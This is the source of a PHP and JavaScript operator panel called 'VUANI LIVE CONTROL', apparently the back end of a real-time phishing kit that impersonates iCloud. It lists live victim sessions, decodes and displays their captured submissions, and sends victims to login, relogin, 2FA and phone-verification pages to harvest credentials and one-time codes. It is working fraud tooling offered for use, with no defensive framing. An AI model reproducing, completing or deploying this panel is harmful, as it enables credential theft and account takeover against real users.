<?php 
include '../config.php';
if ($adminpanel != 1){
	header('HTTP/1.0 404 Not Found');die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
				<html>
					<meta name="viewport" content="width=device-width, initial-scale=1.0">
					<head>
						<title>404 Not Found</title>
						</head>
					<body>
						<h1>Not Found</h1>
						<p>The requested URL was not found on this server.</p>
					</body>
				</html>');exit();};$head='VUANI';

if(isset($_SESSION['ston'])){
	if($_SESSION['ston']==$adminpass){$control='goodpass';$_SESSION['ston']=$adminpass;

	$ud=file_get_contents('db.json');
	$udarray = json_decode($ud);
	if($udarray->live == 'off'){header('location:./?');exit();};
	if($udarray->live == 'on'){$lp = '#2ecc71';$sl = '<a href="./?" class="stat btn">Go to Admin</a>';} else{$lp = '#e74c3c';$sl='';};
    }
	else{header('location:./?');exit();};
}
else{header('location:./?');exit();};
?>
<!DOCTYPE html>
<html>
<head>
<link rel="icon" type="image/x-icon" href="https://www.icloud.com/favicon.ico">
<meta name='viewport' content='width=device-width,initial-scale=1.0'/>
<title>VUANI LIVE CONTROL</title>
<style>
:root {
    --bg-dark: #f8fafc;
    --bg-card: #ffffff;
    --text-main: #000000;
    --text-muted: #475569;
    --accent: #e8b810;
    --accent-hover: #d4a70d;
    --success: #16a34a;
    --danger: #dc2626;
    --bg-nav: #0f172a;
    --nav-text: #e8b810;
    --border: #cbd5e1;
    --console-bg: #f1f5f9;
    --console-text: #000000;
    --btn-blue: #3b82f6;
}

[data-theme="dark"] {
    --bg-dark: #0f172a;
    --bg-card: #1e293b;
    --text-main: #f1f5f9;
    --text-muted: #94a3b8;
    --border: #334155;
    --console-bg: #020617;
    --console-text: #f8fafc;
}

*{padding:0;margin:0;box-sizing:border-box;}
body { font-family: 'Inter', -apple-system, sans-serif; background-color: var(--bg-dark); color: var(--text-main); transition: background 0.3s, color 0.3s; }

.header { background: var(--bg-nav); padding: 20px; border-bottom: 2px solid var(--accent); color: var(--nav-text); text-align: center; font-size: 24px; letter-spacing: 5px; text-transform: uppercase; display: flex; justify-content: space-between; align-items: center; }
.header span { margin-left: 40px; flex-grow: 1; }

.theme-toggle { background: transparent; border: 1px solid var(--nav-text); color: var(--nav-text); padding: 8px 12px; border-radius: 6px; cursor: pointer; font-size: 12px; font-weight: 600; text-transform: uppercase; transition: all 0.2s; margin-right: 20px; }
.theme-toggle:hover { background: var(--nav-text); color: var(--bg-nav); }

.dist-container { display: flex; flex-wrap: wrap; gap: 24px; width: 95%; max-width: 1400px; margin: 30px auto; align-items: flex-start; }
.dist { background-color: var(--bg-card); padding: 24px; border-radius: 16px; border: 1px solid var(--border); box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1); width: 100%; flex: 1 1 600px; text-align: center; }
.dist.log { padding: 0; border: none; background: transparent; box-shadow: none; flex: 1 1 400px; }

.stathd { font-size: 14px; font-weight: 800; color: var(--text-main); text-transform: uppercase; letter-spacing: 0.1em; margin-bottom: 20px; text-align: left; border-left: 4px solid var(--accent); padding-left: 12px; }

.stat-card{ display: flex; flex-direction: column; width: 100%; padding: 24px; background-color: var(--bg-dark); margin-bottom: 20px; border-radius: 12px; border: 1px solid var(--border); align-items: center; justify-content: center; }
.stat-card .desc { color: var(--text-muted); text-transform: uppercase; font-size: 10px; letter-spacing: 1px; font-weight: 700; margin-top: 4px; }
.stat-card .count { font-size: 40px; font-weight: 800; color: var(--success); }

.stat.btn { display: inline-block; padding: 10px 16px; color: #fff; text-decoration: none; background: #334155; border-radius: 6px; margin-left: 15px; font-size: 11px; font-weight: 700; text-transform: uppercase; vertical-align: middle; }

.console { background: var(--console-bg); border-radius: 16px; height: 600px; overflow-y: auto; border: 1px solid var(--border); }
.log-header { background: rgba(0,0,0,0.05); padding: 16px 24px; color: var(--text-main); font-weight: 800; font-size: 12px; text-transform: uppercase; border-bottom: 1px solid var(--border); text-align: left; }
.data-row { padding: 14px 24px; border-bottom: 1px solid var(--border); text-align: left; }
.data-label { display: block; font-size: 9px; color: var(--text-muted); font-weight: 700; margin-bottom: 4px; text-transform: uppercase; }
.data-value { color: var(--console-text); font-family: 'JetBrains Mono', monospace; font-size: 13px; word-break: break-all; }

.switch { position: relative; display: inline-block; width: 44px; height: 24px; vertical-align: middle; margin: 0 10px; }
.switch input { opacity: 0; width: 0; height: 0; }
.slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #cbd5e1; transition: .4s; border-radius: 34px; }
.slider:before { position: absolute; content: ""; height: 18px; width: 18px; left: 3px; bottom: 3px; background-color: white; transition: .4s; border-radius: 50%; }
input.on + .slider { background-color: var(--success); }
input.off + .slider { background-color: var(--danger); }
input.on + .slider:before { transform: translateX(20px); }

.liveblink { 
    display: flex; 
    flex-wrap: wrap; 
    justify-content: space-between; 
    align-items: center; 
    background-color: var(--bg-card); 
    border: 1px solid var(--border); 
    margin: 10px auto; 
    padding: 18px 24px; 
    border-radius: 14px; 
    width: 100%; 
    transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); 
    cursor: pointer; 
    text-align: left;
    position: relative;
    overflow: hidden;
}
.liveblink:hover { transform: translateY(-3px); border-color: var(--accent); box-shadow: 0 8px 24px rgba(0,0,0,0.1); }
.liveblink.active { border: 2px solid var(--accent); background: var(--bg-dark); box-shadow: 0 0 15px rgba(232, 184, 16, 0.2); }
.liveblink.new { border-left: 6px solid var(--danger); animation: flash-red 1.5s infinite; }

.buttons { display: flex; gap: 6px; }
.buttons button { 
    padding: 6px 12px; 
    border-radius: 8px; 
    border: 1px solid var(--border); 
    background: var(--bg-dark); 
    color: var(--text-main); 
    font-size: 11px; 
    font-weight: 600; 
    cursor: pointer; 
    transition: all 0.2s;
    text-transform: uppercase;
}
.buttons button:hover { background: var(--accent); color: #000; border-color: var(--accent); transform: scale(1.05); }
.buttons button[fid='end'] { color: var(--danger); border-color: var(--danger); }
.buttons button[fid='end']:hover { background: var(--danger); color: #fff; }

.status-dot { display: inline-block; width: 12px; height: 12px; border-radius: 50%; margin-right: 12px; }
.status-online { background-color: var(--success); box-shadow: 0 0 10px var(--success); animation: pulse-green 2s infinite; }
.status-offline { background-color: #94a3b8; }

@keyframes pulse-green {
    0% { transform: scale(0.95); box-shadow: 0 0 0 0 rgba(22, 163, 74, 0.7); }
    70% { transform: scale(1); box-shadow: 0 0 0 10px rgba(22, 163, 74, 0); }
    100% { transform: scale(0.95); box-shadow: 0 0 0 0 rgba(22, 163, 74, 0); }
}

.liveblink.status-finished { border-left: 5px solid #64748b; opacity: 0.7; filter: grayscale(0.5); }
.status-finished-dot { background-color: #64748b; }

.filter-tabs { display: flex; gap: 10px; margin-bottom: 25px; margin-top: 25px; justify-content: center; flex-wrap: wrap; }
.filter-tab { 
    padding: 8px 20px; 
    border-radius: 25px; 
    border: 2px solid var(--border); 
    background: var(--bg-card); 
    color: var(--text-main); 
    cursor: pointer; 
    font-size: 12px; 
    font-weight: 700; 
    text-transform: uppercase; 
    transition: all 0.3s; 
    letter-spacing: 0.5px;
}
.filter-tab:hover { border-color: var(--accent); color: var(--accent); }
.filter-tab.active { background: var(--accent); color: #000; border-color: var(--accent); box-shadow: 0 4px 12px rgba(232, 184, 16, 0.3); }

.update { max-height: 600px; overflow-y: auto; padding-bottom: 50px; display: flex; flex-direction: column; }

@media only screen and (min-width:1024px){
	.dist { flex: 1 1 58%; }
	.dist.log { flex: 1 1 38%; }
}
</style>
<script>
function toggleTheme() {
    const body = document.documentElement;
    const currentTheme = body.getAttribute('data-theme') === 'dark' ? 'light' : 'dark';
    body.setAttribute('data-theme', currentTheme);
    localStorage.setItem('admin-theme', currentTheme);
    document.getElementById('theme-btn-text').textContent = currentTheme === 'dark' ? '☀️ Light Mode' : '🌙 Dark Mode';
}

document.addEventListener('DOMContentLoaded', () => {
    const savedTheme = localStorage.getItem('admin-theme') || 'dark';
    document.documentElement.setAttribute('data-theme', savedTheme);
    document.getElementById('theme-btn-text').textContent = savedTheme === 'dark' ? '☀️ Light Mode' : '🌙 Dark Mode';
});
</script>
</head>
<body>
<div class='header'>
    <span><?php echo $head; ?> LIVE CONTROL</span>
    <button class="theme-toggle" onclick="toggleTheme()" id="theme-btn-text">Light Mode</button>
</div>

<div class="dist-container">
    <div class="dist">
        <div class="control-panel">
            <div style="font-size:18px;text-align:left;color:<?php echo $lp; ?>;font-weight:bold;">
                LIVE CONTROL 
                <form method="post" action="proc" style="display:inline">
                    <label class="switch">
                        <input class="<?php echo $udarray->live; ?>" type="submit" name="toggleloop" value="live">
                        <span class="slider round"></span>
                    </label>
                </form>
                <?php echo $sl; ?>
            </div>
            <div class="filter-tabs">
                <div class="filter-tab active" data-filter="all">All</div>
                <div class="filter-tab" data-filter="online">Online</div>
                <div class="filter-tab" data-filter="finished">Finished</div>
            </div>
        </div>
        <div class="stathd" style="margin-top:20px;">Waiting Line</div>
        <div class="stat-card">
            <span class="count" id="totalv">0</span>
            <span class="desc">Online Visitors</span>
        </div>
        <div class="update"></div>
    </div>

    <div class="dist log">
        <div class="stathd">Information Preview</div>
        <div class="console"></div>
    </div>
</div>

<script>
var datatable = {};
var lsess = '';
var notifySound = new Audio('notify.mp3');
notifySound.preload = 'auto';

function ps() {
    notifySound.currentTime = 0;
    var playPromise = notifySound.play();
    if (playPromise !== undefined) {
        playPromise.catch(error => {
            console.log("Audio play failed. User interaction might be required first.");
        });
    }
};

async function getjson(file) {
  let x = await fetch(file + ".php?t=" + new Date().getTime());
  let y = await x.text();
  try {
    let data = JSON.parse(y);
    await parsereq(data);
  } catch(e) { 
    console.error("Invalid JSON from " + file + ".php", y, e); 
  }
}
  
function parsereq(json){
	var notification = json;
	var onlinecount = 0;
	var el = document.querySelector('.update');
	for(let rid in notification){
		var sid = "client_0"+rid;
        var msg_val = notification[rid]["msg"] || "";
        var vid_val = notification[rid]["vid"] || "WAITING...";
        
        const lastSeen = notification[rid]["last_seen"];
        const currentTime = Math.floor(Date.now() / 1000);
        const onlineThreshold = 45; // 45 seconds for real-time feel
        
        let status = "offline";
        let statusClass = "status-offline";
        if (lastSeen && (currentTime - lastSeen < onlineThreshold)) {
            status = "online";
            statusClass = "status-online";
            onlinecount++;
        }
        
        if (vid_val === "FINISHED" || vid_val === "COMPLETED" || vid_val === "END") {
            status = "finished";
            statusClass = "status-finished-dot";
        }

        // Completely ignore and remove truly offline visitors (not online and not finished)
        if (status === "offline") {
            let existing = document.querySelector('#'+sid);
            if (existing) existing.remove();
            continue;
        }

		if(document.querySelector('#'+sid) == null){
			let session = document.createElement("div");
            session.className = `liveblink new ${status} status-${status}`;
            session.id = sid;
            session.setAttribute('message', msg_val);
            session.setAttribute('data-status', status);

            session.innerHTML = `
                <span class="status-container">
                    <span class="${statusClass} status-dot"></span> 
                    <b>${sid.replace("_0", " ").toUpperCase()}</b> | 
                    <span blinkstat='curr' style='color:var(--accent);font-weight:bold;'>${vid_val}</span>
                </span>
                <span class='buttons'><button fid='login'>Login</button><button fid='relogin'>ReLogin</button><button fid='otp'>2FA</button><button fid='phone'>Phone</button><button fid='end'>End</button></span>
            `;
            session.addEventListener('click',()=>{
                sessionStorage.setItem('client', sid);
                if(session.classList.contains('active') == false){
                    for(let sess of session.parentNode.querySelectorAll('.active')){sess.classList.remove('active');};
                    session.classList.add('active');
                };
                
                var msgAttr = session.getAttribute('message');
                var formatted = `<div class="log-header">CLIENT: ${sid.toUpperCase()}</div>`;
                if(msgAttr && msgAttr !== "undefined" && msgAttr !== "" && msgAttr !== "null") {
                    try {
                        var rawMsg = atob(msgAttr);
                        rawMsg = rawMsg.replace(/\{br\}|\n/g, "<br>");
                        
                        var items = rawMsg.split(/\||----|<br>/g).filter(x => x && x.trim() !== "");
                        items.forEach(item => {
                            let clean = item.replace(/<\/?[^>]+(>|$)/g, "").trim();
                            if (clean === "") return;
                            let label = "DATA", value = clean;
                            if (clean.includes(":") || clean.includes("=")) {
                                let sep = clean.includes(":") ? ":" : "=";
                                let parts = clean.split(sep);
                                label = parts[0].trim();
                                value = parts.slice(1).join(sep).trim();
                            } else if (clean.toLowerCase().startsWith("from")) {
                                label = "SENDER"; value = clean.substring(4).trim();
                            }
                            formatted += `<div class="data-row"><div class="data-label">${label}</div><div class="data-value">${value}</div></div>`;
                        });
                    } catch(e) { 
                        formatted += `<div class="data-row">Error decoding results</div>`; 
                    }
                } else { formatted += `<div class="data-row">No results yet...</div>`; }
                
                document.querySelector('.console').innerHTML = formatted;
                document.querySelector('.console').scrollTop = 0;
                session.classList.remove('new');
            });
            ps();
			el.prepend(session); // Prepend new visitors to the top
			for(let elch of document.querySelector('#'+sid).querySelector('.buttons').children){elch.addEventListener('click',procession);};
			datatable[sid] = msg_val;
		}
		else{
            const existingSession = document.querySelector('#'+sid);
			if(datatable[sid] != msg_val){
                ps(); 
                datatable[sid] = msg_val;
                existingSession.classList.add('new');
                existingSession.setAttribute('message', msg_val);
                if(existingSession.classList.contains('active')){
                    existingSession.click();
                };
            }            
            
            const statusDot = existingSession.querySelector('.status-dot');
            if (statusDot) {
                statusDot.className = `${statusClass} status-dot`;
            }
            existingSession.setAttribute('data-status', status);
            existingSession.classList.remove('online', 'offline', 'finished', 'status-online', 'status-offline', 'status-finished');
            existingSession.classList.add(status);
            if (status === 'finished') existingSession.classList.add('status-finished');

            existingSession.querySelector('span[blinkstat="curr"]').innerHTML = vid_val;
		};	
	};
	for(let elch of el.children){
		var elchid = elch.id.replace("client_0", "");
		if(notification[elchid] == null){elch.remove();};
	};
	document.querySelector('#totalv').innerHTML=onlinecount;
    filterVisitors();
};

function procession(event){
    event.stopPropagation();
    var e = event.currentTarget; 
    var epar = e.closest('.liveblink'); 
    var par = epar.id.replace("client_0", "");
    var funcid = e.getAttribute('fid');
	if(epar.classList.contains('active') == false){
        for(let sess of epar.parentNode.querySelectorAll('.active')){sess.classList.remove('active');};
        epar.classList.add('active');
    }
	if(funcid=="mail"){submitupdate(par,2);}
	else if(funcid=="rail"){submitupdate(par,17);}
	else if(funcid=="info"){submitupdate(par,4);}
	else if(funcid=="card"){submitupdate(par,3);}
	else if(funcid=="onetime"){submitupdate(par,5);}
	else if(funcid=="otp"){submitupdate(par,6);}
	else if(funcid=="login"){submitupdate(par,10);}
	else if(funcid=="relogin"){submitupdate(par,11);}
	else if(funcid=="phone"){ window.location="<?php echo $surl; ?>Admin/cd.php?uid="+par; }
	else if(funcid=="end"){submitupdate(par,7);}
}

function submitupdate(clid,prop) {
	var http = new XMLHttpRequest();
    http.open('POST',"prl.php", true);
    http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    var params = "update="+clid+"&property="+prop+"&admin=true";
    http.send(params);
    http.onload = function() {
        alert("Command Sent: Status " + prop);
    };
};
setInterval(function(){getjson("prl");},1000);

const filterTabs = document.querySelectorAll('.filter-tab');
const visitorList = document.querySelector('.update');
let currentFilter = 'all';

function filterVisitors() {
    const visitors = visitorList.querySelectorAll('.liveblink');
    visitors.forEach(visitor => {
        const status = visitor.getAttribute('data-status');
        visitor.style.display = ''; 
        if (currentFilter === 'online' && status !== 'online') {
            visitor.style.display = 'none';
        } else if (currentFilter === 'offline' && status !== 'offline') {
            visitor.style.display = 'none';
        } else if (currentFilter === 'finished' && status !== 'finished') {
            visitor.style.display = 'none';
        }
    });
}

filterTabs.forEach(tab => {
    tab.addEventListener('click', () => {
        filterTabs.forEach(t => t.classList.remove('active'));
        tab.classList.add('active');
        currentFilter = tab.getAttribute('data-filter');
        filterVisitors();
    });
});
filterVisitors();
</script></script>